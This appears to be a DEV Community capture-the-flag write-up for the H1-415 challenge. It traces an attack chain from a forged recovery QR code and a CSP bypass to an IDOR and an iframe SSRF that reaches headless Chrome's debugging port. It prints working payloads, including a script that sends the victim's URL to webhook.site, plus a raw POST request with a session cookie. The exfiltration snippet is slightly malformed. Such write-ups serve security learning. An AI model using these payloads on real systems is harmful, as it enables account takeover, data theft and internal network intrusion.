DEV Community

loading...
Cover image for wow, that was cosmic

wow, that was cosmic

pirateducky profile image pirateducky Updated on ・6 min read

Alt Text

Before I start I just want to thank @checkm50 & @al-madjus for including me in the team. #TogetherWeHitHarder

tldr; Account take over => CSP bypass to execute javascript => IDOR => Access to internal network => access to debugging on headless Chrome.

Original Report Submitted

This was the beginning of the of the H1 CTF - last year I didn't get far on my own so this year I collaborated with 2 awesome hackers @checkm50 & @al-madjus we spent days trying to figure out how to get this done - thankful for being able to bounce ideas back and forth with them, this write up explains how we went from account takeover to infiltrating the internal network and accessing debugging endpoints on a headless google chrome instance.

Application mapping

Description

Application allows users to sign up for a trial in which they can convert images into pdf files, on signup you also receive a QR code for account recovery. The initial account does not have access to /support which requires a full account, when generating pdfs the user's name is pulled from the application and used in the finished pdf, /settings allows to edit the user's name.

Account Takeover

To create an account you need:

  • name
  • email
  • username
  • password

Once you do that, the back-end generates a QR code that can be used for account recovery, if you decode the QR code you can see that it has the following format: email:hash at this point the idea was to somehow register an account with some invalid characters that would get stripped right before the QR generation function, if this happens we could basically register the email jobert@mydocz.cosmic{}<> the extra characters would get stripped and we could obtain a valid QR for the account jobert@mydocz.cosmic

Alt Text

We found the jobert@mydocz.cosmic email when doing initial recon - it was left behind in the review section of the sign-in screen.

So now we could log into jobert's account using the /recover endpoint and our forged QR code, however the account could not upload any documents, but we did have access to the /support page which had a chat, once we initiated conversation with the bot we noticed that we could inject html, using webhook.site we tested this by trying to request an image - it worked. Can we execute JavaScript? Enter CSP policy.

CSP || GTFO

When we tried to execute javascript we noticed the following CSP policy:

Content-Security-Policy: 
default-src 'self'; 
object-src 'none'; 
script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/; 
img-src data: *

So we can't execute any scripts unless they come from https://raw.githack.com/mattboldt/typed.js/master/lib/ great - now to look for a bypass, after a long time we found the bypass by using https://raw.githack.com/mattboldt/typed.js/master/lib/@https://github.com/username/repo_name/master/file_name.js

You have to remove the /blob/ path from your github for this to work

this allowed us to run scripts and bypass CSP, so what's next?

Let me speak to your manager

When we did the ATO for jobert we noticed that support was available, so I look into what was being loaded:

function showReviewModal() {
    $("#review-modal").modal("show");
    for (var e = 0; e <= 5; e++) $("#star-" + e).removeClass("checked");
    $("#review-button").attr("disabled", !0)
}
rating = 3, $(".review-star").click(function(e) {
    rating = $(this).data("rating");
    for (var t = 1; t <= rating; t++) $("#star-" + t).addClass("checked");
    for (t = rating + 1; t <= 5; t++) $("#star-" + t).removeClass("checked");
    $("#rating-input").val(rating), 1 === rating && $("#report-message").text("We're sorry about that. Our team will review this conversation shortly."), $("#review-button").attr("disabled", !1)
}), $("#chat-form").submit(function(e) {}), $("#chat-form").submit(async function(e) {
    e.preventDefault();
    var t = $("#chat-textarea").val();
    if ("finish" !== t.toLowerCase() && "quit" !== t.toLowerCase()) {
        if ($("#chat-textarea").val(""), $("#chat-button").attr("disabled", !0), $("#chat-div").append(decodeURIComponent('<h3><span class="badge badge-primary">' + t + "</span></h3>")), window.scrollTo(0, document.body.scrollHeight), t.length > 0) {
            var a = await fetch("/support/chat?message=" + t);
            showTypedMessages([(await a.json()).response])
        }
        $("#chat-button").attr("disabled", !1), $("#chat-textarea").focus()
    } else showReviewModal()
}), showTypedMessages(["Hello!", "How can I help you?"]), $("#chat-textarea").focus();

If you ran showReviewModal() from your dev console you would get a "Review" modal, where if given 1 star you would receive the "We're sorry about that. Our team will review this conversation shortly." message - quick shout out to the hacker101 ctf there's a challenge just like this one there that helped us understand what was going on.

If we included a payload here - it would fire once in our browser and again from the reviewer's side - interesting, we looked for a lot of stuff here, but the most important one was getting the current url of the browser:

var image = document.createElement("img")
var image.src = "webhook.site/1234/img.png?url= + window.location.href
document.body.appendChild(image)

Using this payload we were able to see this:

http://localhost:3000/support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd

Which if turned into: https://h1-415.h1ctf.com//support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd

Would give us direct access to the review - the review page looked like:

Alt Text

Here we got stuck, what could possibly be next?!

IDOR YOU

We tested everything - and after many hours discovered an IDOR that allowed us to change user's name remember from before - the user's name gets added to the final pdf but we had tried to inject html before using /settings and it encoded everything correctly - maybe this /review route is not encoding characters properly - so we tried it, we signed up for a new account - submitted the /review form but with another user's user_id, which can be found in the /settings page as a hidden input

POST /support/review/6542aa9e862bae99ebff66ce40c3a01402e6ec1263d661d40c552d875a9102e0 HTTP/1.1
Host: h1-415.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Cookie: _csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee; session=.eJw9y9EKwiAYhuF7-Y9HzK3p5lH3ESG_-kmrnEPtYEX33iDo8IXnfZNxJQdT0x0LaVLCd4CfRtWyVSFIOYhjC-sFy7GfBA8q-B6ghtyVK-nzpSFEnh_7fEsWuZ7i5pN7HVwqcXY7fBZkU7cVpLtfLRzx9_T5AvsNKzQ.XiahyQ.frH-NvIt1yzgFztKvF5RlR0c5ho

name=<img src=webhook.site/>&user_id=3&_csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee

This request allowed us to set the name of user:3 as <img src=webhook.site/> which if everything worked would allow us to get more information about the backend - and it did. I also used @daekens ssrf tester which gave me this information:

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36

Cool, so now we know that this pdf is being rendered by HeadlessChrome - but now what?

I heard you like iFrames

We can inject html markup and we know it'll be rendered server-side and then displayed when we convert an image to a pdf, we also know that the application actually runs on localhost:3000 because the calls come back from there - so let's try to port scan and see if we can something else in there!

We tried everything we could - yes even localhost:1337 and nothing was coming up, I was about to go to bed - after almost a week at it I was tiered and sleepy but @checkm50 wouldn't let me give up, so we continue, I opened up google and searched for headless chrome port if all fails - GOOGLE!

Alt Text

And in there I found the following

chrome \
  --headless \                   # Runs Chrome in headless mode.
  --disable-gpu \                # Temporarily needed if running on Windows.
  --remote-debugging-port=9222 \
  https://www.chromestatus.com   # URL to open. Defaults to about:blank.

I see a port number - so let's give it a go and receive we Inspectable WebContents okay at least is not empty or forbidden - so I show this to checkm50 and he says to look at /json so I used this as a payload:

<iframe src='http://localhost:9222/json' width=900 height=900></iframe>

Alt Text

In there you can see: secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf"

That looks good - let's try to open it using the /documents/ endpoint:

https://h1-415.h1ctf.com/documents/0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf

Alt Text

This was my reaction:

Alt Text

Thoughts

Collaboration brings the best out in people, allowing others to hear your thoughts and bounce ideas is the reason why we solved this. It was hard and it pushed me to learn new things. I started last year using the hacker101 ctf and I'm so thankful I joined. If you want to learn signup and join us on discord

Discussion (0)

pic
Editor guide